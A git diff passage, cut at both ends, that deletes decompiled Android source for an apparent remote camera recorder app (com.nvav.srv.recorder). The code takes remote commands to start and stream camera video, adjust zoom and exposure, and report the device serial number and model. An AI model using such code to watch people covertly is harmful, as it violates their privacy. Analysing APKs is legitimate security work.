sleep(1L); - } catch (Exception e) { - CameraRecord.this.comand.WriteErr(e); - } - } - } - }; - CameraRecord.this.mRecordingThread.start(); - } catch (Exception e) { - CameraRecord.this.comand.WriteErr(e); - } - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onActive(CameraCaptureSession cameraCaptureSession) { - Log.d("CameraCaptureSession ac", String.format("time %d", Long.valueOf(System.currentTimeMillis()))); - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onClosed(CameraCaptureSession cameraCaptureSession) { - try { - CameraRecord.this.mRecordingRequestBuilder.removeTarget(CameraRecord.this.mRecordingSurface); - CameraRecord.this.mRecordingRequestBuilder = null; - CameraRecord.this.mHandler = null; - } catch (Exception e) { - CameraRecord.this.comand.WriteErr(e); - } - Log.d("CameraCaptureSession cl", String.format("time %d", Long.valueOf(System.currentTimeMillis()))); - try { - CameraRecord.this.mThread.interrupt(); - CameraRecord.this.mThread = null; - } catch (Exception e2) { - CameraRecord.this.comand.WriteErr(e2); - } - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onReady(CameraCaptureSession cameraCaptureSession) { - Log.d("CameraCaptureSession re", String.format("time %d", Long.valueOf(System.currentTimeMillis()))); - } - }; - this.mCaptureCallback = new CameraCaptureSession.CaptureCallback() { // from class: com.nvav.srv.recorder.CameraRecord.3 - long time_out_param = System.currentTimeMillis(); - double lat = 0.0d; - double lon = 0.0d; - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureFailed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureFailure captureFailure) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureSequenceAborted(CameraCaptureSession cameraCaptureSession, int i4) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureSequenceCompleted(CameraCaptureSession cameraCaptureSession, int i4, long j) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureStarted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, long j, long j2) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureCompleted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, TotalCaptureResult totalCaptureResult) { - if (System.currentTimeMillis() - this.time_out_param > 200) { - String format = String.format("%f;%f;%d;%d;%.2f;%f;%d", Double.valueOf(this.lat), Double.valueOf(this.lon), totalCaptureResult.get(CaptureResult.SENSOR_SENSITIVITY), Long.valueOf(1000000000 / ((Long) totalCaptureResult.get(CaptureResult.SENSOR_FRAME_DURATION)).longValue()), totalCaptureResult.get(CaptureResult.LENS_APERTURE), totalCaptureResult.get(CaptureResult.LENS_FOCUS_DISTANCE), totalCaptureResult.get(CaptureResult.SENSOR_EXPOSURE_TIME)); - CameraRecord.this.comand.WriteOut(ByteBuffer.allocate(format.length() + 1).put((byte) 77).put(format.getBytes()).array()); - this.time_out_param = System.currentTimeMillis(); - } - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureProgressed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureResult captureResult) { - Log.d("CameraCaptureSession pr", String.format("time %d", Long.valueOf(System.currentTimeMillis()))); - } - }; - this.mOutputSurfaces = new ArrayList(1); - this.hiSpeed = 0; - this.endkey = 0; - this.output = new ByteArrayOutputStream(); - this.SizeImage = size; - this.hiSpeed = i3; - this.comand = comand; - Starting = true; - this.id = UUID.randomUUID().toString(); - this.mCameraManager = cameraManager; - this.BitRate = i; - this.FrameRate = i2; - try { - this.mBufferInfo = new MediaCodec.BufferInfo(); - HandlerThread handlerThread = new HandlerThread("CameraThread"); - this.mThread = handlerThread; - handlerThread.start(); - this.mHandler = new Handler(this.mThread.getLooper()); - cameraManager.openCamera(cameraManager.getCameraIdList()[0], stateCallback, this.mHandler); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public void Stop() { - try { - Starting = false; - encode(true); - this.mCamera.close(); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - public void encode(boolean z) { - if (z) { - MediaCodec mediaCodec = this.mMediaCodec; - if (mediaCodec == null) { - return; - } - mediaCodec.signalEndOfInputStream(); - } - int dequeueOutputBuffer = this.mMediaCodec.dequeueOutputBuffer(this.mBufferInfo, 100L); - if (dequeueOutputBuffer < 0) { - if (dequeueOutputBuffer == -2) { - this.mMediaCodec.getOutputFormat(); - return; - } - return; - } - ByteBuffer outputBuffer = this.mMediaCodec.getOutputBuffer(dequeueOutputBuffer); - this.mMediaCodec.getOutputFormat(dequeueOutputBuffer); - if (outputBuffer == null) { - return; - } - if (this.mBufferInfo.size != 0) { - outputBuffer.position(this.mBufferInfo.offset); - outputBuffer.limit(this.mBufferInfo.offset + this.mBufferInfo.size); - byte[] bArr = new byte[this.mBufferInfo.size]; - outputBuffer.get(bArr); - if (this.mBufferInfo.flags == 2) { - try { - ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); - byteArrayOutputStream.write(3); - byteArrayOutputStream.write(2); - byteArrayOutputStream.write(bArr); - byteArrayOutputStream.flush(); - this.config = byteArrayOutputStream.toByteArray(); - byteArrayOutputStream.close(); - } catch (IOException e) { - e.printStackTrace(); - } - } else { - try { - this.countSend++; - ByteArrayOutputStream byteArrayOutputStream2 = new ByteArrayOutputStream(); - byteArrayOutputStream2.write(3); - if (this.mBufferInfo.flags == 1) { - this.endkey = this.countSend; - this.comand.WriteOut(this.config); - byteArrayOutputStream2.write(1); - ByteBuffer allocate = ByteBuffer.allocate(4); - allocate.putInt(this.endkey); - byteArrayOutputStream2.write(allocate.array()); - } else { - byteArrayOutputStream2.write(0); - ByteBuffer allocate2 = ByteBuffer.allocate(8); - allocate2.putInt(this.countSend); - allocate2.putInt(this.endkey); - byteArrayOutputStream2.write(allocate2.array()); - } - byteArrayOutputStream2.write(bArr); - byteArrayOutputStream2.flush(); - this.comand.WriteOut(byteArrayOutputStream2.toByteArray()); - byteArrayOutputStream2.close(); - } catch (IOException e2) { - this.comand.WriteErr(e2); - } - } - } - this.mMediaCodec.releaseOutputBuffer(dequeueOutputBuffer, true); - } - - byte[] putInt(int i) { - return ByteBuffer.allocate(4).order(ByteOrder.LITTLE_ENDIAN).putInt(i).array(); - } - - private Point toThis(Point point) { - Rect rect = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION); - point.x = ((point.x * rect.width()) / this.MaxSize.getWidth()) + rect.left; - point.y = ((point.y * rect.height()) / this.MaxSize.getHeight()) + rect.top; - return point; - } - - private String ZoomNew(String str) { - try { - float parseInt = ((Integer.parseInt(str) * (((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue() - 1.0f)) / 100.0f) + 1.0f; - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - int width = rect.width() / 2; - int height = rect.height() / 2; - int width2 = (int) ((rect.width() * 0.5f) / parseInt); - int height2 = (int) ((rect.height() * 0.5f) / parseInt); - Rect rect2 = new Rect(width - width2, height - height2, width + width2, height + height2); - this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect2); - setParams(); - return String.format("Zoom x%f (%dx%d) %s [%d,%d,%d,%d]", Float.valueOf(parseInt), Integer.valueOf(rect2.centerX()), Integer.valueOf(rect2.centerY()), str, Integer.valueOf(rect2.left), Integer.valueOf(rect2.top), Integer.valueOf(rect2.right), Integer.valueOf(rect2.bottom)); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String ZoomPlus(String str, double d) { - try { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - float floatValue = ((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue(); - Rect rect2 = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION); - String[] split = str.split(","); - Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1]))); - int round = (int) Math.round(rect2.width() * d); - int round2 = (int) Math.round(rect2.height() * d); - if (round < rect.width() / floatValue) { - round = (int) (rect.width() / floatValue); - } - if (round2 < rect.height() / floatValue) { - round2 = (int) (rect.height() / floatValue); - } - Rect rect3 = new Rect(point.x - (round / 2), point.y - (round2 / 2), point.x + (round / 2), point.y + (round2 / 2)); - if (rect3.left < 0) { - rect3.right -= rect3.left; - rect3.left = 0; - } - if (rect3.top < 0) { - rect3.bottom -= rect3.top; - rect3.top = 0; - } - this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect3); - setParams(); - return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", Integer.valueOf((int) Math.round((rect.width() * rect.height()) / (rect3.width() * rect3.height()))), Integer.valueOf(rect3.centerX()), Integer.valueOf(rect3.centerY()), Integer.valueOf(rect3.left), Integer.valueOf(rect3.top), Integer.valueOf(rect3.right), Integer.valueOf(rect3.bottom)); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String BrightPlus() { - String str = ""; - try { - int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() + 1; - if (intValue > 4) { - intValue = 4; - } - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue)); - str = String.format("Brightness %d", Integer.valueOf(intValue)); - setParams(); - return str; - } catch (Exception e) { - this.comand.WriteErr(e); - return str; - } - } - - private String BrightMinus() { - String str = ""; - try { - int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() - 1; - if (intValue < -4) { - intValue = -4; - } - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue)); - str = String.format("Brightness %d", Integer.valueOf(intValue)); - setParams(); - return str; - } catch (Exception e) { - this.comand.WriteErr(e); - return str; - } - } - - private String WhileBlack() { - String str = ""; - try { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue() == 0 ? 1 : 0)); - str = "Black and white."; - setParams(); - return "Black and white."; - } catch (Exception e) { - this.comand.WriteErr(e); - return str; - } - } - - private String ZoomMinus(String str) { - try { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, new Rect(0, 0, rect.right, rect.bottom)); - setParams(); - return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", 1, Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(rect.left), Integer.valueOf(rect.top), Integer.valueOf(rect.right), Integer.valueOf(rect.bottom)); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String Monochrom(String str) { - int i = !str.equals("0"); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(i)); - setParams(); - return i == 1 ? "Monochrom enable." : "Monochrom disable."; - } - - private Rect getRect(String str) { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - String[] split = str.split(","); - int parseInt = Integer.parseInt(split[2]); - int parseInt2 = Integer.parseInt(split[3]); - if (parseInt > rect.width()) { - parseInt = rect.width(); - } - if (parseInt2 > rect.height()) { - parseInt2 = rect.height(); - } - Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1]))); - int i = parseInt / 2; - int i2 = parseInt2 / 2; - Rect rect2 = new Rect(point.x - i, point.y - i2, point.x + i, point.y + i2); - if (rect2.top < rect.top) { - rect2.bottom -= rect2.top - rect.top; - rect2.top = rect.top; - } - if (rect2.left < rect.left) { - rect2.right -= rect2.left - rect.left; - rect2.left = rect.left; - } - if (rect2.bottom > rect.bottom) { - rect2.bottom = rect.bottom; - } - if (rect2.right > rect.right) { - rect2.right = rect.right; - } - return rect2; - } - - private String AF(String str) { - try { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 2); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0); - setParams(); - Rect rect2 = getRect(str); - if (rect.contains(rect2)) { - rect = rect2; - } - MeteringRectangle[] meteringRectangleArr = {new MeteringRectangle(rect, 0)}; - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, meteringRectangleArr); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 1); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 1); - setParams(); - return String.format("AF: %dx%d [%d,%d,%d,%d,%d]", Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(meteringRectangleArr[0].getX()), Integer.valueOf(meteringRectangleArr[0].getY()), Integer.valueOf(meteringRectangleArr[0].getWidth()), Integer.valueOf(meteringRectangleArr[0].getHeight()), Integer.valueOf(meteringRectangleArr[0].getMeteringWeight())); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String Focus(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0); - float parseFloat = (Float.parseFloat(str) * ((Float) this.properties.get(CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE)).floatValue()) / 1000.0f; - this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(parseFloat)); - setParams(); - return String.format("Focus: %f", Float.valueOf(parseFloat)); - } - - private String Sensitivity(String str) { - int parseInt = Integer.parseInt(str); - Range range = (Range) this.properties.get(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE); - int intValue = ((Integer) range.getLower()).intValue() + ((parseInt * (((Integer) this.properties.get(CameraCharacteristics.SENSOR_MAX_ANALOG_SENSITIVITY)).intValue() - ((Integer) range.getLower()).intValue())) / 100); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(intValue)); - setParams(); - return String.format("Sensitivity: %d", Integer.valueOf(intValue)); - } - - private String ISO(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(Integer.parseInt(str))); - setParams(); - return String.format("ISO: %s", str); - } - - private String FPS(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, Long.valueOf(1000000000 / Integer.parseInt(str))); - setParams(); - return String.format("FPS: %s", str); - } - - private String Exposure(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, Long.valueOf(1000000000 / Integer.parseInt(str))); - setParams(); - return String.format("Exposure: %s", str); - } - - private String AE() { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 1); - setParams(); - return "Enable AE"; - } - - private String UserMode(String str) { - String trim = str.trim(); - if (trim.length() > 0) { - try { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 0); - setParams(); - int parseInt = Integer.parseInt(trim); - if (parseInt == 0) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 1); - } else { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 2); - } - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_SCENE_MODE, Integer.valueOf(parseInt)); - setParams(); - return String.format("User mode: %s", trim); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - return ""; - } - - private String ABW(String str) { - String trim = str.trim(); - if (trim.length() > 0) { - try { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AWB_MODE, Integer.valueOf(Integer.parseInt(trim) + 1)); - setParams(); - return String.format("ABW: %s", trim); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - return ""; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public String SetCommand(String str, String str2) { - return str.equals("ZoomPlus") ? ZoomPlus(str2, 0.75d) : str.equals("ZoomMinus") ? ZoomMinus(str2) : str.equals("Zoom") ? ZoomNew(str2) : str.equals("Monochrom") ? Monochrom(str2) : str.equals("WhileBlack") ? WhileBlack() : str.equals("BrightPlus") ? BrightPlus() : str.equals("BrightMinus") ? BrightMinus() : str.equals("Move") ? ZoomPlus(str2, 1.0d) : str.equals("AF") ? AF(str2) : str.equals("Focus") ? Focus(str2) : str.equals("ABW") ? ABW(str2) : str.equals("User_Mode") ? UserMode(str2) : str.equals("Exposure") ? Exposure(str2) : str.equals("Sensitivity") ? Sensitivity(str2) : str.equals("AE") ? AE() : str.equals("SetISO") ? ISO(str2) : str.equals("SetFPS") ? FPS(str2) : ""; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public int MinISO() { - return this.MinISO; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public int MaxISO() { - return this.MaxISO; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public int FPS() { - return this.FPS; - } -} diff --git a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/ChenalC.java b/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/ChenalC.java deleted file mode 100644 index 42c2911..0000000 --- a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/ChenalC.java +++ /dev/null @@ -1,34 +0,0 @@ -package com.nvav.srv.recorder; - -import android.content.Context; -import android.content.SharedPreferences; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class ChenalC { - private static ChenalC instance; - private SharedPreferences sharedPreferences; - - private ChenalC(Context context) { - this.sharedPreferences = context.getSharedPreferences("V__s", 0); - } - - public static synchronized ChenalC getInstance(Context context) { - ChenalC chenalC; - synchronized (ChenalC.class) { - if (instance == null) { - instance = new ChenalC(context); - } - chenalC = instance; - } - return chenalC; - } - - public void set(Byte b) { - SharedPreferences.Editor edit = this.sharedPreferences.edit(); - edit.putInt("C__l", b.byteValue()); - edit.apply(); - } - - public Byte get() { - return Byte.valueOf((byte) this.sharedPreferences.getInt("C__l", 0)); - } -} diff --git a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/Comand.java b/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/Comand.java deleted file mode 100644 index e66284e..0000000 --- a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/Comand.java +++ /dev/null @@ -1,337 +0,0 @@ -package com.nvav.srv.recorder; - -import android.content.Intent; -import android.hardware.camera2.CameraCharacteristics; -import android.hardware.camera2.CameraManager; -import android.hardware.camera2.params.StreamConfigurationMap; -import android.media.MediaCodec; -import android.os.Build; -import android.util.Range; -import android.util.Size; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.io.PrintWriter; -import java.io.StringWriter; -import java.nio.ByteBuffer; -import java.util.Arrays; -import java.util.Map; -import java.util.concurrent.ConcurrentHashMap; -import java.util.concurrent.ConcurrentLinkedQueue; -import java.util.zip.GZIPOutputStream; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class Comand extends Thread { - public Speek speek; - int BitRate = 1000000; - ICameraRecord mCameraRecord = null; - ConcurrentLinkedQueue in_queue = new ConcurrentLinkedQueue<>(); - ConcurrentLinkedQueue out_queue = new ConcurrentLinkedQueue<>(); - ConcurrentHashMap stat_time = new ConcurrentHashMap<>(); - int stat = 0; - long timeRead = System.currentTimeMillis(); - long timeControl = System.currentTimeMillis(); - String oldError = ""; - int countError = 0; - long timeError = System.currentTimeMillis(); - public boolean open = true; - String SerialNumber = getSerialNumber(); - - /* JADX INFO: Access modifiers changed from: package-private */ - public void status(int i) { - if (!this.stat_time.containsKey(Integer.valueOf(i))) { - this.stat_time.put(Integer.valueOf(i), 0L); - } - this.stat_time.replace(Integer.valueOf(i), Long.valueOf(System.currentTimeMillis())); - } - - public int WriteIn(byte[] bArr) { - byte b = bArr[0]; - if (b == 0) { - WriteOut(bArr); - } else if (b == 1) { - decode(Arrays.copyOfRange(bArr, 1, bArr.length)); - } - status(3); - return this.in_queue.size(); - } - - public int ReadCount() { - return this.out_queue.size(); - } - - public byte[] ReadOut() { - this.timeRead = System.currentTimeMillis(); - if (this.out_queue.size() > 0) { - return this.out_queue.poll(); - } - return null; - } - - public int WriteOut(byte[] bArr) { - if (System.currentTimeMillis() - this.timeRead > 600) { - ClearOut(); - } - if (bArr != null && bArr.length > 0) { - this.out_queue.add(bArr); - } - return this.out_queue.size(); - } - - public void ClearOut() { - this.out_queue.clear(); - this.timeRead = System.currentTimeMillis(); - } - - public int WriteOut(String str) { - return WriteOut(ByteBuffer.allocate(str.length() + 1).put((byte) 1).put(str.getBytes()).array()); - } - - public static Intent getIntent() { - Intent intent = new Intent("com.asus.motorservice.MotorService"); - intent.setPackage("com.asus.motorservice"); - return intent; - } - - private void decode(byte[] bArr) { - int i; - int i2; - int i3; - if (bArr != null) { - try { - String str = ""; - String str2 = new String(bArr); - String[] split = str2.split("="); - if (!split[0].equalsIgnoreCase("status")) { - WriteOut(String.format("result=[%s]", str2)); - } - String str3 = split[0]; - if (str3.equalsIgnoreCase("start")) { - if (split[1].trim().length() > 0) { - ICameraRecord iCameraRecord = this.mCameraRecord; - if (iCameraRecord != null) { - iCameraRecord.Stop(); - } - if (Build.MANUFACTURER.equals("HUAWEI")) { - this.mCameraRecord = new CameraHUAWEIn((CameraManager) this.speek.getSystemService("camera"), this.speek, split[1], this); - } else if (Build.MANUFACTURER.equals("asus")) { - WriteOut(this.speek.getPackageName()); - this.mCameraRecord = new CameraASUSn((CameraManager) this.speek.getSystemService("camera"), this.speek, split[1], this); - } else { - this.mCameraRecord = new CameraHUAWEIn((CameraManager) this.speek.getSystemService("camera"), this.speek, split[1], this); - } - str = String.format("Start.", new Object[0]); - } else { - ICameraRecord iCameraRecord2 = this.mCameraRecord; - if (iCameraRecord2 != null) { - iCameraRecord2.Stop(); - } - this.mCameraRecord = new CameraRecord((CameraManager) this.speek.getSystemService("camera"), this.BitRate, 10, this, 0, new Size(1920, 1080)); - str = "Start fps:30"; - } - } else if (str3.equalsIgnoreCase("startHI")) { - ICameraRecord iCameraRecord3 = this.mCameraRecord; - if (iCameraRecord3 != null) { - iCameraRecord3.Stop(); - } - this.mCameraRecord = new CameraRecord((CameraManager) this.speek.getSystemService("camera"), this.BitRate, 40, this, 1, new Size(1280, 720)); - str = "Start High Speed fps:120"; - } else if (str3.equalsIgnoreCase("startH2")) { - ICameraRecord iCameraRecord4 = this.mCameraRecord; - if (iCameraRecord4 != null) { - iCameraRecord4.Stop(); - } - this.mCameraRecord = new CameraRecord((CameraManager) this.speek.getSystemService("camera"), this.BitRate, 80, this, 2, new Size(1280, 720)); - str = "Start High Speed fps:240"; - } else if (str3.equalsIgnoreCase("stop")) { - ICameraRecord iCameraRecord5 = this.mCameraRecord; - if (iCameraRecord5 != null) { - iCameraRecord5.Stop(); - } - str = "Stop"; - this.mCameraRecord = null; - } else if (str3.equalsIgnoreCase("BitRate")) { - int parseInt = Integer.parseInt(split[1]) / 4; - this.BitRate = parseInt; - str = String.format("Set Bit Rate %d", Integer.valueOf(parseInt)); - } else if (str3.equalsIgnoreCase("status")) { - ICameraRecord iCameraRecord6 = this.mCameraRecord; - if (iCameraRecord6 != null) { - i = iCameraRecord6.MinISO() / 10; - i2 = this.mCameraRecord.MaxISO() / 10; - i3 = this.mCameraRecord.FPS() / 10; - } else { - i = 0; - i2 = 0; - i3 = 0; - } - WriteOut(String.format("status=%s=%s=%s=%d=%d=%d", split[1], split[2], this.SerialNumber, Integer.valueOf(i), Integer.valueOf(i2), Integer.valueOf(i3))); - } else if (str3.equalsIgnoreCase("GetCameraInfo")) { - try { - ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); - byteArrayOutputStream.write(7); - GZIPOutputStream gZIPOutputStream = new GZIPOutputStream(byteArrayOutputStream); - gZIPOutputStream.write(getSizeCamera().getBytes()); - gZIPOutputStream.close(); - WriteOut(byteArrayOutputStream.toByteArray()); - byteArrayOutputStream.close(); - ByteArrayOutputStream byteArrayOutputStream2 = new ByteArrayOutputStream(); - byteArrayOutputStream2.write(9); - GZIPOutputStream gZIPOutputStream2 = new GZIPOutputStream(byteArrayOutputStream2); - gZIPOutputStream2.write(getSizeCameraHi().getBytes()); - gZIPOutputStream2.close(); - WriteOut(byteArrayOutputStream2.toByteArray()); - byteArrayOutputStream2.close(); - str = "Get Camera Info"; - } catch (IOException e) { - e.printStackTrace(); - WriteErr(e); - } - } else { - ICameraRecord iCameraRecord7 = this.mCameraRecord; - if (iCameraRecord7 != null) { - str = iCameraRecord7.SetCommand(str3, split[1]); - } - } - if (str3.length() > 4 && str3.substring(0, 5).equalsIgnoreCase("start")) { - str = String.format("%s : %s", str, this.mCameraRecord.getClass().getName()); - } - if (str.trim().length() > 0) { - WriteOut(String.format("result=%s", str)); - } - } catch (Exception e2) { - WriteErr(e2); - } - } - } - - private String getSerialNumber() { - try { - Class cls = Class.forName("android.os.SystemProperties"); - String format = String.format("%s", cls.getMethod("get", String.class).invoke(cls, "ro.serialno").toString()); - if (format.isEmpty()) { - format = Build.SERIAL; - } - return String.format("%s|%s|%s|%s|%s", format, Build.MANUFACTURER, "", Build.MODEL, Build.HARDWARE); - } catch (Exception e) { - WriteErr(e); - return "emulator"; - } - } - - void WriteCommand(String str, String str2) { - WriteOut(String.format("%s=%s", str, str2)); - } - - public void WriteErr(Exception exc) { - exc.printStackTrace(); - try { - StringWriter stringWriter = new StringWriter(); - exc.printStackTrace(new PrintWriter(stringWriter)); - String stringWriter2 = stringWriter.toString(); - if (!stringWriter2.equals(this.oldError) || System.currentTimeMillis() - this.timeError >= 250) { - this.oldError = stringWriter2; - WriteCommand("error", String.format("%s=%d", stringWriter2, Integer.valueOf(this.countError))); - this.timeError = System.currentTimeMillis(); - this.countError = 0; - } else { - this.countError++; - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - public Comand(Speek speek) { - this.speek = speek; - new InOut(this).start(); - } - - public void Close() { - ICameraRecord iCameraRecord = this.mCameraRecord; - if (iCameraRecord != null) { - iCameraRecord.Stop(); - } - this.open = false; - this.speek.send_status(0); - } - - private String getSizeCamera() { - String[] cameraIdList; - Size[] outputSizes; - StringWriter stringWriter = new StringWriter(); - CameraManager cameraManager = (CameraManager) this.speek.getSystemService("camera"); - try { - for (String str : cameraManager.getCameraIdList()) { - for (Size size : ((StreamConfigurationMap) cameraManager.getCameraCharacteristics(str).get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getOutputSizes(MediaCodec.class)) { - if (size.toString().length() > 0) { - stringWriter.write(String.format("%s:%s;", str, size.toString())); - } - } - } - } catch (Exception e) { - e.printStackTrace(); - } - return stringWriter.toString(); - } - - private String getSizeCameraHi() { - String[] cameraIdList; - CameraManager cameraManager; - StringWriter stringWriter = new StringWriter(); - CameraManager cameraManager2 = (CameraManager) this.speek.getSystemService("camera"); - try { - for (String str : cameraManager2.getCameraIdList()) { - Size[] highSpeedVideoSizes = ((StreamConfigurationMap) cameraManager2.getCameraCharacteristics(str).get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getHighSpeedVideoSizes(); - int length = highSpeedVideoSizes.length; - int i = 0; - while (i < length) { - Size size = highSpeedVideoSizes[i]; - if (size.toString().length() > 0) { - Range[] highSpeedVideoFpsRanges = ((StreamConfigurationMap) cameraManager2.getCameraCharacteristics(str).get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getHighSpeedVideoFpsRanges(); - int length2 = highSpeedVideoFpsRanges.length; - int i2 = 0; - while (i2 < length2) { - Range range = highSpeedVideoFpsRanges[i2]; - if (size.toString().length() > 0) { - cameraManager = cameraManager2; - stringWriter.write(String.format("%s:%s:%s:%s:%s;", str, Integer.valueOf(size.getWidth()), Integer.valueOf(size.getHeight()), range.getLower(), range.getUpper())); - } else { - cameraManager = cameraManager2; - } - i2++; - cameraManager2 = cameraManager; - } - } - i++; - cameraManager2 = cameraManager2; - } - } - } catch (Exception e) { - e.printStackTrace(); - } - return stringWriter.toString(); - } - - @Override // java.lang.Thread, java.lang.Runnable - public void run() { - while (this.open) { - try { - int i = 1; - for (Map.Entry entry : this.stat_time.entrySet()) { - if (System.currentTimeMillis() - entry.getValue().longValue() < 1000 && i < entry.getKey().intValue()) { - i = entry.getKey().intValue(); - } - } - if (this.mCameraRecord != null) { - i = 4; - } - if (i != this.stat) { - this.speek.send_status(i); - this.stat = i; - } - sleep(200L); - } catch (InterruptedException e) { - e.printStackTrace(); - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CustomExceptionHandler.java b/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CustomExceptionHandler.java deleted file mode 100644 index 885ef28..0000000 --- a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CustomExceptionHandler.java +++ /dev/null @@ -1,69 +0,0 @@ -package 